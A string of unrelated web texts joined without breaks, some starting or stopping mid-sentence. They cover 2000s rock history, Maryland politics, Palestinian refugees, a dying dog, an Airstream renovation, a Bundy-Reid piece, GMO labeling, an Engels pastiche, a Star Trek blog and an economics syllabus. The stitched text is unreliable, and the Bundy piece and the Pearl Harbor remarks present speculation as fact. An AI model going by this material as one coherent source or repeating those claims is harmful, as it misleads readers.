Commercial breakthrough [ edit ]
The commercial breakthrough from these scenes began initially in the UK,[20] and was led by a small group of bands. The Strokes emerged from the New York club scene with their debut album, Is This It (2001), which debuted at No. 2 in the UK and cracked the Top 50 in America. The White Stripes, from Detroit, released their third album, White Blood Cells (2001), which charted decently in both the US and the UK, as well as spawning two transatlantic Top 25 singles. The Hives, from Sweden, became a mainstream success with their compilation album Your New Favourite Band (2001) which peaked at No. 7 on the UK charts. Also in 2001, Black Rebel Motorcycle Club's debut album hit No. 5 in the UK. The Vines, from Australia, released Highly Evolved in 2002, which was a top 5 success in both England and Australia, and peaked at No. 11 in the US.[21] Along with the Strokes, White Stripes, Hives and others, they were christened by parts of the media as the "The" bands, and dubbed "the saviours of rock 'n' roll",[22] prompting Rolling Stone magazine to declare on its September 2002 cover, "Rock is Back!"[23] This press attention, in turn, led to accusations of hype,[22] and some dismissed the scene as unoriginal, image-conscious and tuneless.[23] According to Reynolds, "apart from maybe the White Stripes, none could really be described as retro".[24]
In the wake of this attention, existing acts like Yeah Yeah Yeahs were able to sign to major record labels.[25] A second wave of bands that managed to gain international recognition as a result of the movement included Interpol, the Killers, Kings of Leon, Modest Mouse, the Shins, Spoon, and the National in the US,[6] and Franz Ferdinand, Bloc Party, the Futureheads, the Libertines,[26] Kaiser Chiefs and the Kooks in the UK.[27] Arctic Monkeys were the most prominent act to owe their initial commercial success to the use of Internet social networking,[28] with two No. 1 singles and Whatever People Say I Am, That's What I'm Not (2006), which became the fastest-selling debut album in British chart history.[29]
Decline [ edit ]
As a dominant commercial force, the revival |
15 Senate vote and looked forward to signing the bill.
Minor changes made by the Senate will require another vote in the House, but that chamber approved the plan by a wide margin last month.
Despite O’Malley’s push for offshore wind for much of his second term, this week marked the first time the measure made it to the Senate floor for a vote.
Republicans responded with a barrage of amendments, tying up a vote for three days.
“This is the dumbest idea ever. Never before have so many Marylanders paid for the benefit of so few,” said Senate Minority Leader E. J. Pipkin (R-Cecil). He said the bill was “the worst kind of corporate welfare” and would benefit offshore wind developers over others in the clean-energy market.
Pipkin and other Republicans also took aim at the way O’Malley’s office secured key Senate committee votes by promising strong requirements for minority business involvement in both the construction and investment phases of the project. Pipkin said that African American and Hispanic residents of Maryland would pay $660 million for the project. “They should be getting a better deal,” he said.
Sen. Thomas M. Middleton (D-Charles) led support for the bill on the Senate floor.
He argued that the legislature had made it a better plan by requiring independent analysis of developers’ proposals.
“We all admit, we all agree, it’s the most expensive energy out there,” Middleton said. “But this bill has had so much scrutiny that... the developers will have to demonstrate in the end that they provide a net benefit to the state.”
Shortly after the Senate vote, O’Malley’s bill to repeal the death penalty cleared another hurdle when as the House Judiciary Committee voted 14 to 8 to send the measure to the full chamber for consideration next week.
The action came just two days after the Senate passed the legislation, which would make Maryland the sixth state in as many years to abolish capital punishment.
Supporters are confident they have the votes to pass the bill on the House floor. The legislation would replace death sentences with life without the possibility of parole.
In another development Friday, O’Malley suggested that he would support a bill to legalize medical marijuana, crossing a bright line the law-and-order governor had previously set against legalizing pot use for any reason.
O’Malley was nonchalant about the change in an impromptu meeting with reporters outside the State House. The governor said he is deferring to his chief health adviser on the decision.
“I’m focused on other things this year,” O’Malley said in an apparent nod to his package of gun-control legislation and the proposed repeal of the death penalty.
O’Malley won the state’s top elective office more than six years ago on a reputation as a tough-on-crime Baltimore mayor. He has repeatedly opposed efforts to legalize marijuana.
Under a mandate issued by the General Assembly in 2011, however, the O’Malley administration was tasked with developing a model program for distributing marijuana for medical purposes.
On Friday, Joshua M. Sharfstein, O’Malley’s secretary of health and mental hygiene, testified to lawmakers that the administration could support a bill allowing academic medical centers in the state to operate medical marijuana “compassionate use programs,” beginning in 2016.
The centers would have to monitor usage and patient outcomes and publish the results.
“There’s a red-light approach that just says no; a green light that says approve and go ahead,” Sharfstein said. “We support the [academic study] bill because it’s a yellow-light approach” before any further legalization.
“We need to assess.... There are not proven benefits, but there are proven risks,” he said.
Kate Havard and John Wagner contributed to this report.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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After the horrific terror attacks in Paris and Beirut and the downing of a Russian jetliner over the Sinai, as many as 31 US governors said Syrian refugees were unwelcome. By contrast, President Barack Obama called on world leaders to continue to accept refugees, saying that many “are victims of terrorism themselves.” Ad Policy
We agree. We recognize that these attacks will feed into a European—and indeed a global—sense of insecurity and vulnerability. But this is no time for the world to close the door to the refugees. We also believe that while much attention has rightly focused on the plight of Syrian refugees overall, we must pay special attention to the Palestinian refugees from Syria, who are among the most vulnerable: They are still stateless after decades in exile, and they have been denied rights granted to other refugees, including in Jordan, Lebanon, Egypt, and Turkey.
At the start of the Syrian conflict, there were 560,000 Palestinian refugees living in Syria. Those Palestinians who have fled Syria have seen their mobility and access to international protection curtailed, in part because of their special legal status under an exclusion clause in the 1951 UN convention on the status of refugees.
This special status has created an opportunity for discrimination. Because Palestinian refugees do not have the same rights under the mandate of the UN High Commissioner for Refugees (UNHCR) as other refugees from Syria in Middle Eastern countries, they live in constant fear of arrest and forced return to Syria.
For example, in 2013, the Jordanian government announced a non-entry policy for Palestinian refugees. Palestinians who fled Syria for Jordan cannot legally live in the refugee camps established for Syrians, nor do they have the legal right to earn money to rent other housing. Jordanian Prime Minister Abdullah Ensour has justified Jordan’s restrictive policies as necessary to avoid absolving Israel of its responsibility to allow Palestinian refugees the right of return. GET THE LATEST NEWS AND ANALYSIS DELIVERED TO YOUR INBOX EACH MORNING SIGN UP!
In Lebanon, as of May 2014, Syria-registered Palestinian refugees could only enter if they had documents for travel to a third country, limiting their stay to a maximum of nine hours. Restrictions on the ability of Palestinians from Syria to legally renew residency papers put the majority under the threat of arrest and deportation to Syria.
In Egypt, only Palestinian refugees are prevented from registering with the UNHCR, and thus cannot get residency permits, receive food vouchers, or medical assistance. Nor can they benefit from any other UNHCR services. Palestinians fleeing Syria for Egypt have been subjected to arbitrary arrest, prolonged detention or deportation, and collective expulsion.
And in Turkey, there are reports of Palestinian refugees from Syria being assaulted by border guards when trying to enter the country.
Meanwhile, Palestinian refugee camps in Syria have suffered significant shelling, destruction, and massive displacement of their populations as a result of the conflict. Yarmouk camp, for example, has been under siege since 2012, yet no aid has been allowed in for months. In addition, the United Nations Relief and Works Agency for Palestine Refugees (UNRWA), established after the 1948 Arab-Israeli war, has not been able to distribute food aid to areas surrounding the camp since June of this year.
Given the harsh realities they face, an increasing number of Palestinian refugees from Syria are opting, alongside their Syrian counterparts, to continue on to Europe. Many are paying exorbitant fees to smugglers and human traffickers. Their routes by sea or overland are treacherous, and they face the risk of being turned back by border guards.
The US- and Russia-led talks in Vienna have come up with a transition plan to the Syria conflict. But there is clearly no immediate solution for the millions of refugees who have fled the Syrian conflict. Indeed, in the midst of the crisis, Israeli Prime Minister Benjamin Netanyahu proposed revoking the IDs of between 80,000 and 100,000 Palestinians from Jerusalem. He would thus add to the Palestinian injustice lived since 1948, when Israel’s creation forced over 700,000 Palestinians out of their country, many of whom found refuge in Syria.
Arab states and Turkey need to stop using the right of return as an excuse to deny the Palestinian refugees fleeing atrocities in Syria their basic rights and must comply with the international obligation of nonrefoulement (no forced return to the country of origin). European and other Western states could help facilitate their resettlement to third countries. Criticizing resettlement in terms of its effect on the right of return would be analogous to Arab states’ using the right of return to deny Palestinian refugees their basic human rights. Neither local integration in the country of residence nor resettlement in a third country negates Palestinians’ individual right of return to their homeland.
As the representative of the Palestinian people, the Palestine Liberation Organization has a responsibility to intervene on behalf of Syria’s Palestinians, at the very least making a more vigorous diplomatic effort to help ensure their protection and find solutions to their plight. Last but not least, the international community must put pressure on the Israeli government to shoulder the responsibility for the tragedy it created and to implement UN Resolution 194, which recognizes the right of Palestinians to return to their homeland.Penny Navid and her two daughters set out to make their beloved dog Charlie's final day one to remember.
"She was so happy, and we hadn't seen her like that in a long time," Penny said.
Penny's husband Kevin remembers the day they brought the puppy home. He says she made her mark immediately.
"I remember she threw up on my wife twice, and we thought that was pretty funny," Kevin said.
The dog would soon make her mark in other ways, sitting by Penny's side and licking her bald head as Penny battled a breast cancer diagnosis and chemotherapy.
"She knew something was going on, and she took care of my wife," Kevin said.
This week, a veterinarian told the family that Charlie had a tumor in her brain. The family had to make the tough decision to put their dog down.
"I knew I couldn't be there because I wouldn't let it happen," Kevin said.
By all accounts, the Shepard wouldn't hurt a fly, but Kevin always believed she would be a good police dog. He even tried to train her from YouTube videos when she was young.
On Charlie's last day, the family took her to get that burger and ice cream, they even let her wash it down with a rib-eye steak from a restaurant nearby. And when they saw a Denton Police officer at the same park, they couldn't pass up an opportunity to take a picture.
"I don't think it was a coincidence he was there. We are believers in this family," Kevin said.
The officer posed for a photo with the dying dog and the department shared it on Facebook, dubbing Charlie its newest K-9 officer, fulfilling a lifelong dream for the Navid family.
"When I saw those photos I just thought there is my Charlie. She's a K-9 officer all these years later," Kevin said.
The officer in the photo was Jim Bryan. He says he was just doing his job and was happy to take a photo.
"I believe things happen for a reason," Bryan said.
But the family said running into him during Charlie's final hours meant more than anyone will ever know. After a full meal, and a walk in the park with her family, Charlie was honored as an officer, then went on to rest in peace.
Copyright 2016 WFAAMatthew Hofmann from Hofmann Architecture recently completed a contemporary renovation of a vintage 1970’s Airstream trailer which currently serves as an efficient living and working space. Green thinking heavily influenced this project. This means that in the interview below you will be reading about quite a few ingenious sustainable ideas that stood at the basis of redesigning this trailer. Enjoy the amazing conversion below which we hope will trigger your need for renovating and improvising.
Freshome: Where do you have this trailer from anyway?
Where do you have this trailer from anyway? Matthew Hofmann: Purchased used on Craigslist
Freshome: How did you come up with the idea to transform a trailer into a living space?
How did you come up with the idea to transform a trailer into a living space? Matthew Hofmann: I’m at a point in my life where I’m trying to live with less. Two years ago I moved from a large house. Moving has a way of making you consider the value of possessions. I wondered, while looking at the massive truckload of things, how would I feel if this truck ran off a cliff and all was lost? My stuff was beginning to feel like a burden, like luggage. Things that I needed to take around with me wherever I went; a truckload sized ball and chain.
Freshome: Is it… mobile?
Is it… mobile? Matthew Hofmann: Very much so. I’ve taken it to several oceanfront RV resorts.
Freshome: What were your first thoughts after purchasing the trailer?
What were your first thoughts after purchasing the trailer? Matthew Hofmann: “Crap! I’d just written a sizeable check for what was a glorified dog house. The trailer was swaying back and forth along rain-soaked 101, like the pendulum of doubt pounding in my brain. The body was solid, but inside the trailer was a mess. There’s no doubt the last resident was the junkyard dog.”
Freshome: Can you describe the transformation process in a few words? (How did it look before the renovation and what did you change?
Can you describe the transformation process in a few words? (How did it look before the renovation and what did you change? Matthew Hofmann: Step #1: Demo – Remove everything – along with lots of scrubbing to eliminate the wet dog smell. Step #2: Design – The creative process isn’t accomplished by adding more, but by taking away what’s distracting. The design questions were simply: How much does one remove? How much does one keep? Perfection isn’t when there is nothing more to be added, perfection is when nothing left can be taken away. The must-do list included the use of regional materials and reusable products, such as bamboo for flooring, countertops, the table, along with a sustainable management plan. Weight was also a huge issue. Less was more. Lighter was better. And like luggage packed on an airplane, the load needed to be properly balanced.
Freshome: Tell us about the “green” side of your project.
Tell us about the “green” side of your project. Matthew Hofmann: The Airstream uses an integrated propane heating system on colder nights. For cooling, the Airstream uses two large awnings on each side to shade windows from direct sunlight. Large open-able, screened windows promote ample cross-ventilation to take full advantage of Southern California’s ocean breeze. The Airstream utilizes a low voltage battery system with integrated charger. This system supplies 12 volt lighting and fans, or converted 110v power. Batteries are recharged from the automobile while in tow, and a solar panel battery charging system is currently being installed. Low voltage lighting, such as fluorescent and halogen, are utilized throughout the trailer. Water flow control devices are installed on every water fixture. Small hot water tank encourages short showers. Extremely low flow water closet is adaptable to the type of waste. (less water for liquid waste, more for solid waste) Two separate storage tanks: graywater and blackwater. Gray water is diverted from sewer and used for landscape irrigation. The Airstream is not hooked up to city sewer, so blackwater waste is biologically-treated on-site through a leach field/septic tank.
Freshome: What were the costs for “redecorating” this 1970’s Airstream trailer?
What were the costs for “redecorating” this 1970’s Airstream trailer? Matthew Hofmann: Performing all the design and construction work myself, the renovation was under $20k. It’s very time intensive work.
Freshome: How was working on this renovation different from the rest of your architecture projects? (If it was any different that is).
How was working on this renovation different from the rest of your architecture projects? (If it was any different that is). Matthew Hofmann: Very similar indeed. The minimal space availability required careful consideration for every space. Every design action required justification. A space that didn’t serve multiple purposes was a waste of space.
Freshome: On a scale of 1 to 20, how comfortable is it to live in your trailer? Please justify your answer.
On a scale of 1 to 20, how comfortable is it to live in your trailer? Please justify your answer. Matthew Hofmann: 18. For me, a space that serves only one purpose is a waste of space. But for someone else it may not work.Amid the standoff between Nevada rancher Cliven Bundy and the federal government, reports are growing that Senate Majority Leader Harry Reid’s little-known ties to a Chinese solar energy giant could have played a role.
Reid, D-Nev., and his oldest son, Rory, a former chairman of the Clark County, Nev., County Commission, were both deeply involved in a plan by ENN Energy Group to build a huge solar farm in southern Nevada, according to a Reuters report from August 2012.
Land the Bundy family has been using for cattle ranching was getting in the way of that project, according to documents formerly posted on the Bureau of Land Management’s government website but since removed, according to Infowars.
It has also been reported that this particular deal is no longer on the table, but was part of the story in 2012.
The acting director of the Bureau of Land Management is Neil Kornze, a former senior policy advisor for Reid.
Here is a screenshot of one crucial document from Google’s cache.
The most interesting line might be:
“Non-Governmental Organizations have expressed concern that the regional mitigation strategy for the Dry Lake Solar Energy Zone utilizes Gold Butte as the location for offsite mitigation for impacts from solar development, and that those restoration activities are not durable with the presence of trespass cattle.”
The federal government’s story so far is that the whole showdown was necessary for the protection of gopher tortoises.
Here’s how The Blaze’s Dana Loesch puts it in “The Real Story of the Bundy Ranch”:
BLM has proven that they’ve a situational concern for the desert tortoise as they’ve had no problem waiving their rules concerning wind or solar power development. Clearly these developments have vastly affected a tortoise habitat more than a century-old, quasi-homesteading grazing area. If only Clive Bundy were a big Reid donor.
From the document purged from the BLM website, it’s clear there were more than tortoises at stake.
There was a $5 billion foreign energy project in the works, with Reid and his son directly involved.
And there was an American citizen and cattle rancher standing in the way.
Now, federal agents armed with guns and the full power of the federal government have engaged.
What could go wrong?
UPDATE: This story has been updated to reflect that the ENN Energy Group proposal is no longer on the table.
Sorry, Ms. Lerner, Trey Gowdy nailed it:
‘Brought BOOM to the ROOM!’The Food and Drug Administration rejected petitions to the White House for mandatory labeling of genetically modified organisms. The move was welcomed by agricultural groups who said it allows science to dictate what is on consumer packaging.
“FDA’s rejection of the petition is a strong reaffirmation of the sound science policy underlying FDA’s approval process. Only products found to be safe for human or animal use should be approved. And if they are approved as safe, there is no basis for mandatory labeling," said National Milk Producers Federation president and chief executive officer Jim Mulhern.
Bob Stallman, president of the American Farm Bureau Federation, called it a victory for consumers and farmers alike. Stallman said the petition rejection, as well as FDA’s stamp of approval on a genetically engineered salmon is a “milestone for expanding farmers’ and ranchers’ ability to produce nutritious food critical to a healthy diet.” The salmon is engineered to mature quicker which is said to reduce its environmental impact and uses less feed before reaching the market.
Stallman noted, “Farmers and ranchers are producing more with fewer resources, without sacrificing nutrition or compromising food quality and safety. The administration sees this, and so does the nation’s leading authority on food safety.”
American Soybean Assn. president and Texas farmer Wade Cowan said the petition rejection is an indication that the discussion on biotechnology in the consumer marketplace is moving according to science, rather than misconception.
“We have consistently said that explicit labeling should be reserved for health or safety concerns, and science has time and time again proven that these concerns don’t apply to GMOs,” added Cowan. “Slapping a warning label on the front of a food product when no such warning is warranted will only serve to steer people away from the safe and affordable food they need to feed their families. The White House has chosen science over rhetoric today, and we applaud them for it.”
Cowan further suggested that the news creates the momentum needed to get labeling legislation that would prevent a patchwork of mandatory state labeling laws passed in the Senate prior to the holiday recess at the end of the year.
“Winter is coming,” Cowan said. “The Senate has the ability in the coming weeks to establish a path forward on labeling that is based in science and doesn’t stigmatize a safe and proven technology, but at the same time provides consumers with the information they want. We encourage Senators to keep moving forward with their work.”
Sen. Pat Roberts (R., Kan.) said the Senate continues to work on a solution which recognizes unintended consequences that come with mandatory labeling but also provides consumers more information.
Reports indicate Sen. Debbie Stabenow (D., Mich.) is working on a bipartisan proposal that may even be included in the end of the year omnibus which would require food companies put an on-package QR-code which consumers would scan to find out additional information about the food. But if food companies don’t include the extra information by a certain date, the federal preemption would sunset.
“No agreement on a path forward has been reached. Senator Stabenow believes that for any solution to pass the Senate, it must establish a national system of required disclosure that would ensure consumers get the information they want about their food, while also solving the problem of a 50-state patchwork of regulations,” a spokesman for Stabenow said.Title: The text of a recently discovered document, purporting to be Friedrich Engels' discarded first draft of the Preface to the 1885 edition of Das Kapital by Karl Marx
Author: kbk and nostalgia
Medium: Historical/Political
Summary: "Philosophers have only interpreted the world in various ways; the point is, to slash it." – Not Karl Marx
Rating: PG-13 for language
Medium's site: info on Engels - http://www.spartacus.schoolnet.co.uk/TUengels.htm
The following is the recently discovered discarded first draft of Friedrich Engels' preface to the 1885 draft of Marx's Das Kapital. After Marx's death in 1883, Engels worked on compiling and editing the remaining manuscript, drawing on his experience of co-operating with Marx. The document presented here was found among a selection of Engels papers which passed to a distant relative after Engels' death in London in 1895. While the authenticity of said document has been questioned by some, it is presented here in the hope of shedding new light on the character of so important and influential a historical partnership.
Karl Marx and I began working together in 1844. We shared similar ideas – what would later become known as dialectal materialism – and we didn't annoy each other too much. Eventually, we even got to like each other. I'm afraid to say that we wrote much of the Communist Manifesto while drunk. Not paralytically drunk, I hasten to add, merely merry. About as drunk as I am now, I'd say. Drunk enough to be honest.
We used to meet in a nice little pub just round the corner from the meeting place of the Communist League. The meetings were more often stressful than not and it would often take a good three or four pints before Karl calmed down enough to stop ranting and start writing. His rants, while entertaining, generally contained more in the way of personal insults than political theory. We always said that history is the story of people. Suffice to say that our writing partnership had its share of history. Only occasionally did it dissolve into violence, but I'm sure you can imagine the tensions involved in ironing out a mutually acceptable position on the nature of revolution. And, of course, the eternal dilemma of who was going to pay the bar bill at the end of the night.
It usually ended up being me, but I didn't particularly mind. Aside from the fact that I tended to be more solvent, the sheer wonder of seeing that brilliant mind at work was ample compensation for a few shillings. Karl was often the inspiration of our partnership, with gleaming flights of genius - wait, I'm waxing effulgent about the man, and that's just not what I'm supposed to be doing. A lot of the time he behaved like an absolute idiot. He learned tact over the years, and I like to give myself a small part of the credit for that; however, while we were working together, tempers could run high. I didn't mind. He never looked as good as he did with that spark in his eye. Well, Karl was never exactly handsome in any sense of the word, but somehow, whenever he got fired up, he just had an aura that was utterly irresistible. I would have done anything for him when he got stuck in to an argument, raising his voice, gesturing vehemently, truly passionate about his point of view… Is that wrong of me? I don't think it is.
He wrote a lot. I think that's fairly evident from the size of this book, but it's an important enough facet of his existence that it bears stating. The man wrote a huge amount of polemic, rhetoric and discourse. Huge amount. Ridiculous amount. And so much of it means something. So much of it is right.
I always envied his confidence. I had to find a way to back my beliefs up, a correlation in science, a reference, a... something. I had to find someone else who agreed. Often enough that was Karl himself, but I never felt it could work like that. He was probably a more reliable source than many, but since I knew him, that just wasn't allowed. He was my friend. How could he be the source of a political movement? How could he be the author of a philosophy? How could he? How could I?
He wrote a lot, it is true, but much of it was only comprehensible to those educated in political theory. He had an instinctive understanding of the most difficult of abstract concepts. He was... brilliant. One of the greatest minds of our time. He will be sorely missed. Sorely, sorely missed. I will miss him. He just didn't realise, some of the time, that not everyone was as intelligent or as educated as him. That the proletariat, the men he wrote for, would not follow his erudition. He looked at me, so bemused, when I toned down his language, when I inserted explanations, when I laid my hand on his knee...
He was married, you know. Whole bunch of children. Most of them died. I don't mean to sound heartless, but I didn't exactly see much of them. I went back home to my father, worked for him, worked at a boring job with boring people, all so I could send money to Karl to support him and Jenny and the children. Jenny was a sweet girl. Very hard to hate. I managed, now and again, but most of the time I just couldn't. Which is, of course, a good thing.
He loved her. Of course. It was remarkable, the way they stayed loving through such hardship and poverty. The bastard.
I loved him. I loved him, and I took care of him, and her, and his children, and he never loved me back. Does that make it any less worthy? Does that make me any less of a lover?
But I digress. This book is a remarkable work, intelligent, insightful and influential. In this book you will find the perfect symmetry of the communist existence, inspiration for a more satisfying way of life.
Failing that, you could always use it as a paper-weight. It's a big book, isn't it? I told you he wrote a lot. If you're reading this a hundred years from now, it’s either because it's a set text in a Communist Utopia, or at least the proletariat are educated. Which is always a start. Karl used to have a lot of problems with that. Because, face it, he was bourgeois. I am as well, but I never managed to shout quite as loudly as he did. Part of him, I think, was peculiarly at peace with living in a slum. As though in some way he finally felt like he belonged.
Of course, that didn’t mean he couldn't have washed a bit more often than he did. Cleanliness is next to Godliness, although obviously we didn't believe in God. Opium of the masses, and all that.
I must be coming across as bitter, here. Of course I'm bitter! I loved the man, and what did I get out of that? He didn't love me, and it's not called Engelsism, is it? Of course, if I hadn’t been so bitter, we might not have spent so much of our time talking about politics, and people a hundred years from now might still be living in poverty. It’s probably a good thing that he didn’t love me... I can't... oh fuck, this is no preface at all.
I need another drink.
The text ends at this point. No further drafts of this "alternative" preface have so far come to light. Obviously, the events described in the document may not have occurred quite as they are presented, and it would be unwise to encourage further speculation as to the nature of the relationship between Marx and Engels until more evidence can be produced. Nevertheless, it presents an intriguing new angle for biographical researchers to pursue. Hopefully, with the discovery of further documents, fact will finally triumph over fiction.Another late blog entry, but this one's about four month's late. Sometimes writing something new can be like trying to find the open end on a roll of sellotape, you run your nail over and over the surface, but it just won't catch. Today, finally, I found the edge I'd been missing. Enjoy!
Best Things Ever
#17 Star Trek: Deep Space 9
I recently watched again the entire seven season run of Star Trek: Deep Space 9 (DS9). It certainly has some flaws, too many below par episodes, especially in the first couple of series, too much of the kind clunky expositional dialogue that would today be handled by a ‘Previously on…’ montage at the front of each episode.
That said, DS9 can boast of having produced the two greatest episodes of any Star Trek spin off, namely, ‘In the Pale Moonlight’ and ‘Far Beyond the Stars’. It can also boast of the finest ship, captain and crew. For a few minor imperfections, it remains not just my favourite Star Trek franchise, but one of my favourite TV shows of all time.
Like all Star Trek spin offs, DS9 centres on the adventure of Starfleet, the exploratory and military wing of the Federation of Planets, an alliance of galactic races, with its headquarters on Earth. What differentiates DS9 from all other series is rather than take place on a Federation starship, usually one incarnation or another of the USS Enterprise, DS9 takes place on the eponymous space station from which the series takes its name. Deep Space 9 is a recently abandoned ore processing plant around the planet of Bajor, built and operated by the Cardassians, a brutal race who until recently had occupied the planet for over fifty year, forcing the Bajorans into slavery.
Other Star Trek series take place in a controlled environment on board a starship. In DS9, the Bajoran provisional government has asked for the Federation’s help in rebuilding their society after half a century of brutality and Starfleet sends Commander (later Captain) Benjamin Sisko to assume control of the station, commanding a crew comprising a mixture of Starfleet and Bajoran personnel.
Sisko’s second in command is Major Kera Nerys, a former member of the Bajoran Resistance. Kera believes that the Federation has no place being there, that the Bajorans have replaced one kind of occupation for another, and she and Sisko lock horns at regular intervals.
DS9 not only features characters that are not affiliated to Starfleet, but characters who are not affiliated to anyone. There’s Quark, the Ferengi barkeeper, whose shady dealings see him continual conflict with Odo, the station’s shape-shifting head of security. Odo’s own origins are something of a mystery. The thrust and parry of repartee between Odo and Quark is one of the highlights of the show.
Indeed, it’s the banter between characters that sets DS9 apart from Star Trek’s other incarnations. On board a starship, dominated by the chain of command, conflict between rank and file officers is almost always in absentia. The bashing of heads between Sisko and Kira, Quark’s scheming under Odo’s nose, the intrigues of the station’s only Cardassian resident, Garak, as he spins a web of half-truths for the entertainment of an impressionable Doctor Bashir, give the programme its strength. There’s even conflict between Starfleet personnel, with Bashir seemingly oblivious to how much he annoys Chief of Operations, Miles O’Brien (a transfer from the Enterprise and Star Trek: The Next Generation). Their emerging bromance played out over seven seasons is as another of the show’s strengths.
The advantage of setting the series on a space station, rather than dicking about in space (the crew of the Next Generation spent seven years ferrying diplomats about, rarely ‘boldly going’ anywhere), is its potential for longer story arcs. In the feature length opening episode, the crew of DS9 discover a stable wormhole in the Bajoran sector, allowing safe passage to the other side of the galaxy.
It is the wormhole that is the real star of DS9. Everything salient which happens during the series is generated by the wormhole. It offers safe, stable passage, because it was constructed by a race of aliens that live inside it and outside of time. To the Bajoran people the wormhole aliens are gods, The Prophets, and Sisko, in discovering the wormhole and making first contact with them, comes to be adopted as their Emissary, The Sisko, revered as a religious leader by the Bajoran people. It’s basically a mediation upon religious life in America, as Star Trek has always been a meditation upon America’s place in the world (compare Klingon tradition with that of Japan for instance).
The wormhole also generates DS9’s great threat (sustained threat, as it is titled in film classifications). The Dominion, a despotic empire governing great expanses of the other side of the wormhole, the Gamma Quadrant, grow tired of ships coming through from the Alpha Quadrant and declare war on the Federation. They invade the Alpha Quadrant, occupy worlds, subsume civilisations. Deep Space 9 stands on the frontline in this war and the Federation’s increasingly futile situation leads its crew into areas darker than Star Trek had hitherto explored, aside from its occasional forays into the so-called Mirror Universe.
In what is for me the greatest episode of any Star Trek series, ‘In the Pale Moonlight’, Captain Sisko recounts how he came to bring the Romulans into war, turning the tide in favour of the Federation. The course of his downward spiral from trying to find evidence of a Dominion attack upon Romulus, to manufacturing that evidence for himself, to becoming embroiled in the terrorist attack which finally brings the Romulans into the war is brilliantly done, especially the ending. The episode shows war stripped of its usual veneer of false dichotomy, good and evil, us and them, and shows how even the best of us can fall so quickly from grace. The road to hell, as Sisko reminds us, is paved with good intentions.
What differentiates DS9 from most other sci-fi shows of recent years, most television of recent years, is its ability to tackle contemporary events. The best science fiction has always been about contemporary issues and fears, removed to another time and space in order to be considered with some degree of objectivity. We see this in the fears about science and technology evinced in ‘Frankenstein’ and ‘Brave New World’, the anti-communist paranoia of ‘Invasion of the Body Snatchers’, or the anxieties about thermonuclear annihilation in much of the original ‘Twilight Zone’.
By showing Sisko fabricate reasons to bring the Romulans into the war, ‘In the Pale Moonlight’ recalls the events of Pearl Harbour. I’m far from being a conspiracy theorist, but it does seem to me clear that public opinion in America at the time of World War Two was firmly against entering another costly war (as it had been during the First World War, hence the fabrication of the infamous Zimmerman Telegram) and a plan was concocted to goad the Japanese into an attack, precipitating reasons for America’s entry into the war. Documents released under Freedom of Information certainly show an eight point plan to bring the Japanese into the war through military hazing and out and out attack.
Whether or not you think this was ultimately a necessary evil or not is of course down to personal opinion. It seems to me fairly pointless to speculate on what might of been. Far more important to clarify what did happen, in order to apply the mistakes of the past to |
“Plant- and Firm-Level Evidence on “New” Trade Theories.” NBER Working Paper.
Bernard, Andrew B. and J. Bradford Jensen. 2004. “Why Some Firms Export.” Review of Economics and Statistics.
Baldwin, Richard ; Harrigan, James. Zeros, Quality, and Space: Trade Theory and Trade Evidence,” American Economic Journal: Microeconomics, 1 May 2011, Vol.3(2), pp.60-88.
Armenter, Roc and Koren, Miklos. “A Balls-and-Bins Model of Trade.” American Economic Review, 2014, https://www.aeaweb.org/articles.php?doi=10.1257/aer.104.7.2127.
Videos: Trade and External Economies of Scale, Monopolistic Competition and International Trade, Trade and Increasing Returns: Evidence, Paul Romer, Robert Torrens on strategic trade policy, The Economics of Bollywood.
V. Is there a trade and industrialization slowdown?
Hausmann, Ricardo, Jason Hwang, and Dani Rodrik. “What You Export Matters.” Journal of Economic Growth, 12, 1, March 2007, 1-25.
Rodrik, Dani. “The Future of Economic Convergence.” Harvard Kennedy School, August 2011, RWP11-033.
Rodrik, Dani. “Unconditional Convergence in Manufacturing.” Quarterly Journal of Economics, 2012.
Rodrik, Dani. “The Perils of Premature Deindustrialization.” Project Syndicate, 11 October 2013.
Rodrik, Dani. “Are Services the New Manufactures?” Project Syndicate, October 13, 2014.
Davies, Gavyn. “Why world trade growth has lost its mojo.” The Financial Times, January 9, 2015.
VI. Gravity models
Anderson, James and Eric van Wincoop. 2004. “Trade Costs” Journal of Economic Literature.
Head, Keith. 2011. “Gravity for Beginners.” Presented at US-Canada Border Conference.
Donaldson, David. 2011. “Gravity Models.” No Journal—powerpoint.
Hummels, David. 2007. “Transportation Costs and International Trade in the Second Era of Globalization.” Journal of Economic Perspectives.
Anderson, James and Eric van Wincoop. 2003. “Gravity with Gravitas: A Solution to the Border Puzzle.” American Economic Review.
Eaton, Jonathan and Samuel Kortum. 2002. “Technology, Geography, and Trade.” Econometrica.
Chaney, Thomas. “The Network Structure of International Trade,” American Economic Review 2014.
Video: The Gravity Equation and the Costs of Trade.
VII. Trade in economic history
Harrison, Ann and Andres Rodriguez-Clare. 2010. “Trade, Foreign Investment, and Industrial Policy for Developing Countries.” Handbook of Development Economics, Volume 5, Ch 63, also the same is Ann Harrison and Andres Rodriguez-Clare. 2009. “Trade, Foreign Investment, and Industrial Policy for Developing Countries.” NBER Working Paper.
Irwin, Douglas. 2002. “Interpreting the Tariff-Growth Correlation of the Late Nineteenth Century.” American Economic Review.
Irwin, Douglas. 2002. “Did Import Substitution Promote Growth in the Late Nineteenth Century?” NBER Working Paper.
John Nye, “The Myth of Free Trade Britain and Fortress France,” Journal of Economic History, 1991.
Irwin, Douglas. 1997. “From Smoot-Hawley to Reciprocal Agreements: Changing the Course of U.S. Trade Policy in the 1930s.” NBER Working Paper.
Irwin, Douglas. 1998. “The Smoot-Hawley Tariff: A Quantitative Assessment.” The Review of Economic Statistics.
Crowley, Meredith A. and Xi Luo. 2011. “Understanding the Great Trade Collapse of 2008-09 and the Subsequent Trade Recovery.” Journal of Economic Perspectives.
Francois, Joseph and Julia Woerz. 2009. “The Big Drop: Trade and the Great Recession.” No Journal, article online.
Videos: Corn Law debates, Friedrich List, Robert Torrens on sliding tariffs, The Deindustrialization of India, Tariffs and Growth in the late 19thCentury, South Korea and Industrial Policy, The Smoot-Hawley Tariff, Why Did Trade Plummet in the Great Recession?
VIII. FDI and multinationals
Blonigen, Bruce. A Review of the Empirical Literature on FDI Determinants, Atlantic Economic Journal, 2005, 33, 4, pp.383-403
Ramondo, Natalia and Andres Rodriguez-Clare. 2013. “Trade, Multinational Production, and the Gains from Openness.” Journal of Political Economy, 2013, vol. 121, no. 2.
